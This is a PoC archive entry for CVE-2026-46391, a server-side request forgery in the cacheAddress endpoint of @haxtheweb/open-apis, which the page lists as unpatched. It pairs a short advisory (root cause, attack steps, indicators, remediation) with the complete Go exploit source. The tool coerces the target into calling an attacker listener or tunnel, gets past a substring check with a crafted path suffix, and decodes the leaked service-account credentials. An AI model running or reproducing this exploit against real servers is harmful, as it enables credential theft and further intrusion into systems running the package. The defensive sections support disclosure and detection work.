PoC Archive PoC Archive
High CVE-2026-46391 (GHSA-4fg7-f244-3j49) unpatched

@haxtheweb/open-apis Credential Exposure via SSRF in cacheAddress Endpoint (CVE-2026-46391)

by bradyjmcl · 2026-07-05

Severity
High
CVE
CVE-2026-46391 (GHSA-4fg7-f244-3j49)
Category
web
Affected product
@haxtheweb/open-apis (HAXcms/HAX ecosystem web service APIs)
Affected versions
Per source repository (pre-patch @haxtheweb/open-apis)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherbradyjmcl
CVE / AdvisoryCVE-2026-46391 (GHSA-4fg7-f244-3j49)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagshaxtheweb, haxcms, open-apis, ssrf, cwe-918, credential-exposure, cacheaddress
RelatedN/A

Affected Target

FieldValue
Software / System@haxtheweb/open-apis (HAXcms/HAX ecosystem web service APIs)
Versions AffectedPer source repository (pre-patch @haxtheweb/open-apis)
Language / PlatformGo (PoC/exploit tool); target is a Node.js-based web API
Authentication RequiredNo
Network Access RequiredYes

Summary

The cacheAddress endpoint in @haxtheweb/open-apis (/api/services/website/cacheAddress) performs a server-side fetch of a URL supplied by the caller without adequately restricting the destination, resulting in a Server-Side Request Forgery (SSRF) vulnerability. An attacker who controls the target of this server-side request can point it at an attacker-controlled listener, and the request that arrives includes service account credentials sent as part of the callback, allowing exfiltration of secrets the server didn’t intend to expose externally.


Vulnerability Details

Root Cause

The cacheAddress API accepts a URL from the client and has the server issue an outbound HTTP request to it without validating that the destination is an allow-listed, internal-only address. Because the server-side request carries service account credentials/headers, redirecting it to an attacker-controlled host leaks those credentials to the attacker.

Attack Vector

  1. Stand up a listener reachable by the target server (directly, or via a tunnel such as Cloudflare Tunnel).
  2. Send a request to the target’s cacheAddress endpoint (/api/services/website/cacheAddress) with a URL parameter pointing at the attacker’s listener, using a path suffix (/.aanda.psu.edu) crafted to satisfy the target’s substring validation check.
  3. The vulnerable server issues a server-side HTTP request to the attacker’s listener, including service account credentials in the callback.
  4. The PoC’s listener captures the inbound request and extracts the leaked credentials.

Impact

Exposure of internal service account credentials to an external attacker via SSRF, which can be leveraged for further authenticated access to internal services or the HAXcms/HAX API surface.


Environment / Lab Setup

Target:   A web root running the vulnerable @haxtheweb/open-apis service (e.g. http://10.10.0.80:3000)
Attacker: Go 1.x toolchain; a reachable listener IP or public tunnel (e.g. Cloudflare Tunnel)

Proof of Concept

PoC Script

See main.go (with main_test.go, go.mod) in this folder.

1
2
3
go build -o cve-2026-46391 .
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com

Triggers the SSRF against the target’s cacheAddress endpoint, starts a local listener to receive the resulting server-side callback, and captures the service account credentials embedded in the inbound request.


Detection & Indicators of Compromise

Outbound requests from the HAXcms/open-apis server to unexpected external hosts following a cacheAddress API call

Signs of compromise:

  • cacheAddress API calls with URL parameters pointing to non-internal or attacker-controlled hosts
  • Unexpected outbound HTTP connections from the application server carrying service-account authentication headers

Remediation

ActionDetail
Primary fixUpdate @haxtheweb/open-apis to the patched version that validates/restricts cacheAddress destinations and strips credentials from outbound server-side requests
Interim mitigationRestrict outbound network access from the application server via egress filtering; disable or gate the cacheAddress endpoint until patched

References


Notes

Mirrored from https://github.com/bradyjmcl/cve-2026-46391 on 2026-07-05. The repository’s demo GIF (.assets/poc.gif, ~12 MB) was excluded from this mirror per size policy; only source code and tests were kept.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
package main

import (
	"context"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/url"
	"os"
	"sort"
	"strconv"
	"strings"
	"time"
)

const (
	// ssrfPath is appended to the callback URL so the target's substring check triggers.
	ssrfPath = "/.aanda.psu.edu"

	// apiPath is the cacheAddress endpoint path, appended to the -u/--url web root.
	apiPath = "/api/services/website/cacheAddress"
)

func main() {
	fmt.Print("\n[***] CVE-2026-46391 - Credential Exposure via SSRF in @haxtheweb/open-apis [***]\n")
	fmt.Print("  [+] Built (with love) by @bradyjmcl [+]\n\n")

	var targetHost, listenerHost, port string
	var timeout int
	var verbose bool

	flag.StringVar(&targetHost, "u", "", "")
	flag.StringVar(&targetHost, "url", "", "")
	flag.StringVar(&listenerHost, "l", "", "")
	flag.StringVar(&listenerHost, "listener", "", "")
	flag.StringVar(&port, "p", "8080", "")
	flag.StringVar(&port, "port", "8080", "")
	flag.IntVar(&timeout, "t", 30, "")
	flag.IntVar(&timeout, "timeout", 30, "")
	flag.BoolVar(&verbose, "v", false, "")
	flag.BoolVar(&verbose, "verbose", false, "")

	flag.Usage = func() {
		out := flag.CommandLine.Output()
		fmt.Fprintf(out, "Usage: %s -u <web-root> -l <listener> [-p port] [-t seconds] [-v]\n\n", os.Args[0])
		fmt.Fprintf(out, "Options:\n")
		fmt.Fprintf(out, "  %-24s%s\n", "-h, --help", "show this help message and exit")
		fmt.Fprintf(out, "  %-24s%s\n", "-u, --url string", "target web root (e.g. http://10.10.0.80:3000)")
		fmt.Fprintf(out, "  %-24s%s\n", "-l, --listener string", "IP/hostname to listen on (e.g. 192.168.1.10 or http://192.168.1.10)")
		fmt.Fprintf(out, "  %-24s%s\n", "", "or full URL including port for tunnels/proxies (e.g. https://your-uuid.trycloudflare.com)")
		fmt.Fprintf(out, "  %-24s%s\n", "-p, --port int", "local port to listen on (default 8080)")
		fmt.Fprintf(out, "  %-24s%s\n", "-t, --timeout int", "seconds to wait for callback (default 30)")
		fmt.Fprintf(out, "  %-24s%s\n", "-v, --verbose", "print headers and body of every inbound request")
	}

	flag.Parse()

	if targetHost == "" || listenerHost == "" {
		flag.Usage()
		os.Exit(1)
	}
	portNum, err := strconv.Atoi(port)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Invalid value %q for -p/--port: must be an integer (e.g. -p 9090)\n", port)
		os.Exit(1)
	}
	if portNum < 1 || portNum > 65535 {
		fmt.Fprintf(os.Stderr, "[-] Invalid port %d: must be between 1 and 65535\n", portNum)
		os.Exit(1)
	}
	if timeout < 1 {
		fmt.Fprintf(os.Stderr, "[-] Invalid timeout %d: must be at least 1 second\n", timeout)
		os.Exit(1)
	}

	done := make(chan string, 1)

	ln, server, err := startListener(port, verbose, done)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to bind :%s: %v\n", port, err)
		os.Exit(1)
	}
	defer shutdown(server)
	fmt.Printf("[*] Listener ready on :%s\n", port)

	go func() {
		if err := server.Serve(ln); err != nil && err != http.ErrServerClosed {
			fmt.Fprintf(os.Stderr, "[-] Server error: %v\n", err)
		}
	}()

	status, err := fireTrigger(targetHost, listenerHost, port)
	triggerOK := err == nil
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Trigger request failed: %v\n", err)
	} else {
		fmt.Printf("[i] Target responded with status %d\n", status)
	}

	if triggerOK {
		fmt.Printf("[*] Waiting up to %ds for callback...\n", timeout)
	} else {
		fmt.Printf("[*] Waiting up to %ds for callback (trigger failed - unlikely to arrive)...\n", timeout)
	}
	select {
	case creds := <-done:
		fmt.Printf("\n[!] CAPTURED: %s\n", creds)
	case <-time.After(time.Duration(timeout) * time.Second):
		fmt.Println("[-] Timed out - no callback received")
		fmt.Println("    Check: is your host reachable from the target server?")
		fmt.Println("    Check: did the q param reach the credential branch?")
	}
}

func startListener(port string, verbose bool, done chan string) (net.Listener, *http.Server, error) {
	ln, err := net.Listen("tcp", ":"+port)
	if err != nil {
		return nil, nil, err
	}
	mux := http.NewServeMux()
	mux.HandleFunc("/", callbackHandler(verbose, done))
	return ln, &http.Server{
		Handler:           mux,
		ReadTimeout:       10 * time.Second,
		ReadHeaderTimeout: 5 * time.Second,
		WriteTimeout:      10 * time.Second,
		MaxHeaderBytes:    8 << 10,
	}, nil
}

func callbackHandler(verbose bool, done chan string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		fmt.Printf("\n[i] Request from %s\n", r.RemoteAddr)
		fmt.Printf("    Path: %s\n", r.URL.String())
		if verbose {
			names := make([]string, 0, len(r.Header))
			for name := range r.Header {
				names = append(names, name)
			}
			sort.Strings(names)
			for _, name := range names {
				for _, v := range r.Header[name] {
					fmt.Printf("    Header: %s: %s\n", name, v)
				}
			}
			body, _ := io.ReadAll(io.LimitReader(r.Body, 4096))
			if len(body) > 0 {
				fmt.Printf("    Body: %s\n", body)
			}
		}

		if r.URL.Path != ssrfPath {
			http.NotFound(w, r)
			return
		}

		creds := decodeAuth(r.Header.Get("Authorization"))
		if creds != "" {
			select {
			case done <- creds:
			default:
				fmt.Println("[i] Duplicate callback - credentials discarded")
			}
		}

		w.Header().Set("Content-Type", "text/plain")
		w.WriteHeader(http.StatusOK)
		fmt.Fprintln(w, "ok")
	}
}

func decodeAuth(header string) string {
	if header == "" {
		fmt.Println("[-] No Authorization header - substring check may not have triggered")
		return ""
	}
	if !strings.HasPrefix(header, "Basic ") {
		fmt.Printf("[!] Authorization (non-Basic): %s\n", header)
		return header
	}
	payload := strings.TrimRight(strings.TrimPrefix(header, "Basic "), "= ")
	decoded, err := base64.RawStdEncoding.DecodeString(payload)
	if err != nil {
		fmt.Printf("[-] Failed to decode: %v\n", err)
		return ""
	}
	return string(decoded)
}

func fireTrigger(target, host, port string) (int, error) {
	endpoint := strings.TrimSuffix(target, "/") + apiPath
	trigger := fmt.Sprintf("%s?q=%s", endpoint, url.QueryEscape(buildCallbackURL(host, port)))
	fmt.Printf("[*] Triggering SSRF: %s\n", trigger)

	client := &http.Client{Timeout: 15 * time.Second}
	resp, err := client.Get(trigger) //nolint:gosec
	if err != nil {
		return 0, err
	}
	defer resp.Body.Close()
	io.Copy(io.Discard, resp.Body) //nolint:errcheck
	return resp.StatusCode, nil
}

func buildCallbackURL(host, port string) string {
	if !strings.HasPrefix(host, "http://") && !strings.HasPrefix(host, "https://") {
		h := host
		if strings.HasPrefix(h, "[") && strings.HasSuffix(h, "]") {
			h = h[1 : len(h)-1]
		}
		return fmt.Sprintf("http://%s%s", net.JoinHostPort(h, port), ssrfPath)
	}

	u, err := url.Parse(host)
	if err != nil {
		return strings.TrimSuffix(host, "/") + ssrfPath
	}
	if u.Port() != "" {
		return strings.TrimSuffix(host, "/") + ssrfPath
	}
	if u.Scheme == "https" {
		return strings.TrimSuffix(u.String(), "/") + ssrfPath
	}
	u.Host = net.JoinHostPort(u.Hostname(), port)
	return strings.TrimSuffix(u.String(), "/") + ssrfPath
}

func shutdown(server *http.Server) {
	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	server.Shutdown(ctx) //nolint:errcheck
}